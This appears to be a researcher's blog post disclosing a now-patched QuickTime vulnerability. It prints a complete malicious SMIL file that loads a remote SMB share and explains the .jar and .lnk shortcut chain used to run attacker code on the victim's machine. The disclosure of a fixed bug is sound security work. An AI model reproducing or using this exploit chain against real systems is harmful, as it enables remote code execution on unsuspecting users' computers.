In this post I intend to give a brief overview of the QuickTime vulnerability which I partially-disclosed over here. I should have made these details public long time ago but better late than never. The vulnerability has been fixed for several months now and I believe it is safe to talk about it in the public.

Let’s start with an example. The following is the source code of a malicious QuickTime SMIL file:

SMILtext <smil
xmlns:qt="http://www.apple.com/quicktime/resourc
es/smilextensions" qt:autoplay="true"
qt:next="file://172.16.3.124/evil/evil.lnk">
<body>
<seq repeatCount="indefinite">
<img src="test.jpg" dur="1s"/>
<img src="test.jpg" dur="1s"/>
</seq>
</body>
</smil>

First of all, we start with the SMIL header (SMILtext). This is necessary in order to masquerade the file as a different file type, i.e. if we paste the above text into a file with extension .mp3, it will still play in QuickTime. We can use practically any other file extension which defaults to the QuickTime player.

After that we follow with a very standard SMIL document. The most interesting information in order to make the exploit works is contained inside the qt:next attribute of the smil root element. This attribute instructs QuickTime to play another media file after we are done with the current one. The attribute expects a URL which can start with the file:// protocol handler. This is understandable since we might want to play local files as well as remote ones, i.e. http://.

The URL is passed to the FileProtocolHandler from url.dll. The function understands that we are asking for a local resource. However, pay attention on the format of the URL we are passing. Let’s take a closer look:

file://172.16.3.124/evil/evil.lnk

Most of you will recognize that this is a URL which points to a NETBIOS share located on 172.16.3.124.

Perhaps you are thinking that this is the problem. Well yes, but we are not there just yet. Initially, when I was playing with this bug, I was trying to launch a URL like this one: file://172.16.3.124/evil/evil.exe. The URL points to an executable. Unfortunately, the attack was failing because usually XP SP1 and up, I believe (excuse my ignorance), will warn you that you are trying to execute an application from an untrusted share. Typically, you will see a warning box but because FileProtocolHandler suppresses that, the function silently fails. I’ve tried with .bat, .cmd, .vbs, .js, .application and other known executable file formats but none of them seemed to work. This is due to the fact that the operating system knows that these files are executables and could harm your system, therefore it prevents their execution.

So I needed to find a file format which is executable but Windows does not know about it just yet. It seems that .jar fits perfectly my requirements. .jar is the file extension of the JAR archive, a ZIP archive with a manifest file which instructs the Java interpreter what class should be executed as the main one. .jar files are executable as long as you have Java on your system.

So we are done! Right? Not quite. If you try to send file://172.16.3.124/evil/evil.jar to FileProtocolHandler you will notice that java.exe fails with an error messages informing you that there is no such class. What happens is that Java does not understand what file://172.16.3.124/evil/evil.jar actually is. This is due to the fact that the URL notation we are using is non-standard, i.e. it is made up by Microsoft’s engineers to seamlessly incorporate NETBIOS shares into the operating system.

So what do we do? It took me some time to figure this out. My approach is very simple. First of all we create a simple .lnk (link/shortcut) file in the same directory where the malicious .jar file is located. Then we use the shortcut to rewrite the URL from file://172.16.3.124/evil/evil.jar to \\172.16.3.124\evil\evil.jar, which is the correct NETBIOS notation. The Java interpreter is very much aware of this syntax and it will happily load the file and attack the victim’s system.

In summary, I had to go from QuickTime to Windows Internals to URL Manipulation to Java. However, the attack is very simple to implement and understand, yet very effective. I must say that you can definitely win a laptop on the annual POWN2OWN contest by using as simple trick as the one presented here. Security vulnerabilities do not have to be complicated!

I am planning to talk about the impact of this attack in my next post.